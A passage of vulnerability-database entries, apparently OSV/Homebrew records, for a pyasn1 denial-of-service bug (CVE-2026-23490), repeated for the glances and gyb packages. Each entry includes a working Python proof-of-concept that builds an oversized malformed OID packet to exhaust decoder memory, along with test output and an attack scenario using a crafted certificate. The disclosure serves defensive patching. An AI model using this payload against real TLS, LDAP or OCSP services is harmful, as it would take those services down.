        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.5",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "glances",
            "purl": "pkg:brew/glances"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "4.3.1_1"
                },
                {
                  "fixed": "4.3.2"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.5",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.5"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: {len(str_result)} chars\u0027)\n        if len(str_result) \u003e 10000:\n            print(f\u0027[!] MEMORY EXPLOSION: {len(str_result)} character string!\u0027)\n    except MemoryError:\n        print(f\u0027[-] MemoryError during string conversion!\u0027)\n    except Exception as e:\n        print(f\u0027[-] {type(e).__name__} during string conversion\u0027)\n\nexcept MemoryError:\n    print(\u0027[-] MemoryError: Out of memory!\u0027)\nexcept Exception as e:\n    print(f\u0027[-] Error: {type(e).__name__}: {e}\u0027)\n\n\nprint(\"\\n[*] Test completed\")\n```\n\n\nScreenshots with the results:\n\n#### DoS\n\u003cimg width=\"944\" height=\"207\" alt=\"Screenshot_20251219_160840\" src=\"https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f\" /\u003e\n\n\u003cimg width=\"931\" height=\"231\" alt=\"Screenshot_20251219_152815\" src=\"https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa\" /\u003e\n\n#### Leak analysis\n\nA potential heap leak was investigated but came back clean:\n```\n[*] Creating 1000KB payload...\n[*] Decoding with pyasn1...\n[*] Materializing to string...\n[+] Decoded 2157784 characters\n[+] Binary representation: 896001 bytes\n[+] Dumped to heap_dump.bin\n\n[*] First 64 bytes (hex):\n  01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081\n\n[*] First 64 bytes (ASCII/hex dump):\n  0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..\n  0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....\n  0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... \n  0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.\n\n[*] Digit distribution analysis:\n  \u00270\u0027:  10.1%\n  \u00271\u0027:   9.9%\n  \u00272\u0027:  10.0%\n  \u00273\u0027:   9.9%\n  \u00274\u0027:   9.9%\n  \u00275\u0027:  10.0%\n  \u00276\u0027:  10.0%\n  \u00277\u0027:  10.0%\n  \u00278\u0027:   9.9%\n  \u00279\u0027:  10.1%\n```\n\n### Scenario\n\n1. An attacker creates a malicious X.509 certificate.\n2. The application validates certificates.\n3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.\n\n### Impact\n\nThis issue can affect resource consumption and hang systems or stop services.\nThis may affect:\n- LDAP servers\n- TLS/SSL endpoints\n- OCSP responders\n- etc.\n\n### Recommendation\n\nAdd a limit to the allowed bytes in the decoder.",
      "id": "BREW-glances-CVE-2026-23490",
      "modified": "2026-10-31T19:40:53Z",
      "published": "2026-08-13T16:51:23Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/security/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "ADVISORY",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/be353d755f42ea36539b4f5053c652ddf56979a6"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/commit/3908f144229eed4df24bd569d16e5991ace44970"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4148"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4147"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4146"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4145"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4144"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4143"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4142"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4141"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4140"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4139"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4138"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:39894"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3959"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3958"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2302"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:41928"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:42644"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:4943"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:54757"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:5606"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/security/cve/CVE-2026-23490"
        },
        {
          "type": "WEB",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2430472"
        },
        {
          "type": "ADVISORY",
          "url": "https://github.com/advisories/GHSA-63vm-454h-vhhq"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/pyasn1/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/blob/0f07d7242a78ab4d129b26256d7474f7168cf536/pyasn1/codec/ber/decoder.py#L496"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2"
        },
        {
          "type": "WEB",
          "url": "https://github.com/pypa/advisory-database/tree/main/vulns/pyasn1/PYSEC-2026-1810.yaml"
        },
        {
          "type": "WEB",
          "url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00002.html"
        },
        {
          "type": "WEB",
          "url": "https://pypi.org/project/pyasn1"
        },
        {
          "type": "WEB",
          "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-23490.json"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2300"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2299"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2221"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:19712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1906"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1905"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1904"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:1903"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17611"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17595"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:17446"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:14020"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13553"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13545"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13512"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:13508"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:37275"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3359"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:3354"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:30088"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:28042"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2758"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2712"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24977"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24866"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2486"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2460"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2453"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24483"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:24476"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2309"
        },
        {
          "type": "WEB",
          "url": "https://access.redhat.com/errata/RHSA-2026:2303"
        }
      ],
      "schema_version": "1.7.3",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "pyasn1 has a DoS vulnerability in decoder",
      "upstream": [
        "GHSA-63vm-454h-vhhq",
        "CVE-2026-23490",
        "PYSEC-2026-1810"
      ]
    }

    BREW-GYB-CVE-2026-23490 (GHSA-63VM-454H-VHHQ)

    Vulnerability from osv_homebrew – Published: 2026-08-13 16:55 – Updated: 2026-10-08 00:53 – Source website
    VLAI
    Summary
    pyasn1 has a DoS vulnerability in decoder
    Details

    Summary

    After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

    Details

    The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

    PoC

    For the DoS:

    import pyasn1.codec.ber.decoder as decoder
    import pyasn1.type.univ as univ
    import sys
    import resource
    
    # Deliberately set memory limit to display PoC
    try:
        resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))
        print("[*] Memory limit set to 100MB")
    except:
        print("[-] Could not set memory limit")
    
    # Test with different payload sizes to find the DoS threshold
    payload_size_mb = int(sys.argv[1])
    
    print(f"[*] Testing with {payload_size_mb}MB payload...")
    
    payload_size = payload_size_mb * 1024 * 1024
    # Create payload with continuation octets
    # Each 0x81 byte indicates continuation, causing bit shifting in decoder
    payload = b'\x81' * payload_size + b'\x00'
    length = len(payload)
    
    # DER length encoding (supports up to 4GB)
    if length < 128:
        length_bytes = bytes([length])
    elif length < 256:
        length_bytes = b'\x81' + length.to_bytes(1, 'big')
    elif length < 256**2:
        length_bytes = b'\x82' + length.to_bytes(2, 'big')
    elif length < 256**3:
        length_bytes = b'\x83' + length.to_bytes(3, 'big')
    else:
        # 4 bytes can handle up to 4GB
        length_bytes = b'\x84' + length.to_bytes(4, 'big')
    
    # Use OID (0x06) for more aggressive parsing
    malicious_packet = b'\x06' + length_bytes + payload
    
    print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB")
    
    try:
        print("[*] Decoding (this may take time or exhaust memory)...")
        result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())
    
        print(f'[+] Decoded successfully')
        print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
    
        # Try to convert to string
        print('[*] Converting to string...')
        try:
            str_result = str(result[0])
            print(f'[+] String succeeded: {len(str_result)} chars')
            if len(str_result) > 10000:
                print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!')
        except MemoryError:
            print(f'[-] MemoryError during string conversion!')
        except Exception as e:
            print(f'[-] {type(e).__name__} during string conversion')
    
    except MemoryError:
        print('[-] MemoryError: Out of memory!')
    except Exception as e:
        print(f'[-] Error: {type(e).__name__}: {e}')
    
    
    print("\n[*] Test completed")
    

    Screenshots with the results:

    DoS

    Screenshot_20251219_160840

    Screenshot_20251219_152815

    Leak analysis

    A potential heap leak was investigated but came back clean:

    [*] Creating 1000KB payload...
    [*] Decoding with pyasn1...
    [*] Materializing to string...
    [+] Decoded 2157784 characters
    [+] Binary representation: 896001 bytes
    [+] Dumped to heap_dump.bin
    
    [*] First 64 bytes (hex):
      01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
    
    [*] First 64 bytes (ASCII/hex dump):
      0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02  ..... @..... @..
      0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08  ... @..... @....
      0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20  . @..... @..... 
      0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81  @..... @..... @.
    
    [*] Digit distribution analysis:
      '0':  10.1%
      '1':   9.9%
      '2':  10.0%
      '3':   9.9%
      '4':   9.9%
      '5':  10.0%
      '6':  10.0%
      '7':  10.0%
      '8':   9.9%
      '9':  10.1%
    

    Scenario

    1. An attacker creates a malicious X.509 certificate.
    2. The application validates certificates.
    3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

    Impact

    This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

    Recommendation

    Add a limit to the allowed bytes in the decoder.

    References
    https://github.com/pyasn1/pyasn1/security/advisor… WEB
    https://nvd.nist.gov/vuln/detail/CVE-2026-23490 ADVISORY
    https://github.com/pyasn1/pyasn1/commit/be353d755… WEB
    https://github.com/pyasn1/pyasn1/commit/3908f1442… WEB
    https://access.redhat.com/errata/RHSA-2026:4148 WEB
    https://access.redhat.com/errata/RHSA-2026:4147 WEB
    https://access.redhat.com/errata/RHSA-2026:4146 WEB
    https://access.redhat.com/errata/RHSA-2026:4145 WEB
    https://access.redhat.com/errata/RHSA-2026:4144 WEB
    https://access.redhat.com/errata/RHSA-2026:4143 WEB
    https://access.redhat.com/errata/RHSA-2026:4142 WEB
    https://access.redhat.com/errata/RHSA-2026:4141 WEB
    https://access.redhat.com/errata/RHSA-2026:4140 WEB
    https://access.redhat.com/errata/RHSA-2026:4139 WEB
    https://access.redhat.com/errata/RHSA-2026:4138 WEB
    https://access.redhat.com/errata/RHSA-2026:39894 WEB
    https://access.redhat.com/errata/RHSA-2026:3959 WEB
    https://access.redhat.com/errata/RHSA-2026:3958 WEB
    https://access.redhat.com/errata/RHSA-2026:2302 WEB
    https://access.redhat.com/errata/RHSA-2026:41928 WEB
    https://access.redhat.com/errata/RHSA-2026:42644 WEB
    https://access.redhat.com/errata/RHSA-2026:4943 WEB
    https://access.redhat.com/errata/RHSA-2026:54757 WEB
    https://access.redhat.com/errata/RHSA-2026:5606 WEB
    https://access.redhat.com/security/cve/CVE-2026-23490 WEB
    https://bugzilla.redhat.com/show_bug.cgi?id=2430472 WEB
    https://github.com/advisories/GHSA-63vm-454h-vhhq ADVISORY
    https://github.com/pyasn1/pyasn1 PACKAGE
    https://github.com/pyasn1/pyasn1/blob/0f07d7242a7… WEB
    https://github.com/pyasn1/pyasn1/releases/tag/v0.6.2 WEB
    https://github.com/pypa/advisory-database/tree/ma… WEB
    https://lists.debian.org/debian-lts-announce/2026… WEB
    https://pypi.org/project/pyasn1 WEB
    https://security.access.redhat.com/data/csaf/v2/v… WEB
    https://access.redhat.com/errata/RHSA-2026:2300 WEB
    https://access.redhat.com/errata/RHSA-2026:2299 WEB
    https://access.redhat.com/errata/RHSA-2026:2221 WEB
    https://access.redhat.com/errata/RHSA-2026:19712 WEB
    https://access.redhat.com/errata/RHSA-2026:1906 WEB
    https://access.redhat.com/errata/RHSA-2026:1905 WEB
    https://access.redhat.com/errata/RHSA-2026:1904 WEB
    https://access.redhat.com/errata/RHSA-2026:1903 WEB
    https://access.redhat.com/errata/RHSA-2026:17611 WEB
    https://access.redhat.com/errata/RHSA-2026:17595 WEB
    https://access.redhat.com/errata/RHSA-2026:17446 WEB
    https://access.redhat.com/errata/RHSA-2026:14020 WEB
    https://access.redhat.com/errata/RHSA-2026:13553 WEB
    https://access.redhat.com/errata/RHSA-2026:13545 WEB
    https://access.redhat.com/errata/RHSA-2026:13512 WEB
    https://access.redhat.com/errata/RHSA-2026:13508 WEB
    https://access.redhat.com/errata/RHSA-2026:37275 WEB
    https://access.redhat.com/errata/RHSA-2026:3359 WEB
    https://access.redhat.com/errata/RHSA-2026:3354 WEB
    https://access.redhat.com/errata/RHSA-2026:30088 WEB
    https://access.redhat.com/errata/RHSA-2026:28042 WEB
    https://access.redhat.com/errata/RHSA-2026:2758 WEB
    https://access.redhat.com/errata/RHSA-2026:2712 WEB
    https://access.redhat.com/errata/RHSA-2026:24977 WEB
    https://access.redhat.com/errata/RHSA-2026:24866 WEB
    https://access.redhat.com/errata/RHSA-2026:2486 WEB
    https://access.redhat.com/errata/RHSA-2026:2483 WEB
    https://access.redhat.com/errata/RHSA-2026:2460 WEB
    https://access.redhat.com/errata/RHSA-2026:2453 WEB
    https://access.redhat.com/errata/RHSA-2026:24483 WEB
    https://access.redhat.com/errata/RHSA-2026:24476 WEB
    https://access.redhat.com/errata/RHSA-2026:2309 WEB
    https://access.redhat.com/errata/RHSA-2026:2303 WEB

    {
      "affected": [
        {
          "ecosystem_specific": {
            "fix": "bump",
            "range_state": "fixed",
            "resource": "pyasn1",
            "resource_purl": "pkg:pypi/pyasn1@0.6.4",
            "upstream_fixed_in": "0.6.2"
          },
          "package": {
            "ecosystem": "Homebrew",
            "name": "gyb",
            "purl": "pkg:brew/gyb"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "1.82"
                },
                {
                  "fixed": "1.97"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "database_specific": {
        "confidence": "high",
        "source": "matched",
        "strategy": "registry",
        "upstream_evidence": [
          {
            "ecosystem": "PyPI",
            "key": "pkg:pypi/pyasn1@0.6.4",
            "name": "pyasn1",
            "resource": "pyasn1",
            "strategy": "registry",
            "subject_version": "0.6.4"
          }
        ]
      },
      "details": "### Summary\n\nAfter reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.\n\n### Details\n\nThe integer issue can be found in the decoder as `reloid += ((subId \u003c\u003c 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496\n\n### PoC\n\nFor the DoS:\n```py\nimport pyasn1.codec.ber.decoder as decoder\nimport pyasn1.type.univ as univ\nimport sys\nimport resource\n\n# Deliberately set memory limit to display PoC\ntry:\n    resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024))\n    print(\"[*] Memory limit set to 100MB\")\nexcept:\n    print(\"[-] Could not set memory limit\")\n\n# Test with different payload sizes to find the DoS threshold\npayload_size_mb = int(sys.argv[1])\n\nprint(f\"[*] Testing with {payload_size_mb}MB payload...\")\n\npayload_size = payload_size_mb * 1024 * 1024\n# Create payload with continuation octets\n# Each 0x81 byte indicates continuation, causing bit shifting in decoder\npayload = b\u0027\\x81\u0027 * payload_size + b\u0027\\x00\u0027\nlength = len(payload)\n\n# DER length encoding (supports up to 4GB)\nif length \u003c 128:\n    length_bytes = bytes([length])\nelif length \u003c 256:\n    length_bytes = b\u0027\\x81\u0027 + length.to_bytes(1, \u0027big\u0027)\nelif length \u003c 256**2:\n    length_bytes = b\u0027\\x82\u0027 + length.to_bytes(2, \u0027big\u0027)\nelif length \u003c 256**3:\n    length_bytes = b\u0027\\x83\u0027 + length.to_bytes(3, \u0027big\u0027)\nelse:\n    # 4 bytes can handle up to 4GB\n    length_bytes = b\u0027\\x84\u0027 + length.to_bytes(4, \u0027big\u0027)\n\n# Use OID (0x06) for more aggressive parsing\nmalicious_packet = b\u0027\\x06\u0027 + length_bytes + payload\n\nprint(f\"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB\")\n\ntry:\n    print(\"[*] Decoding (this may take time or exhaust memory)...\")\n    result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier())\n\n    print(f\u0027[+] Decoded successfully\u0027)\n    print(f\u0027[!] Object size: {sys.getsizeof(result[0])} bytes\u0027)\n\n    # Try to convert to string\n    print(\u0027[*] Converting to string...\u0027)\n    try:\n        str_result = str(result[0])\n        print(f\u0027[+] String succeeded: 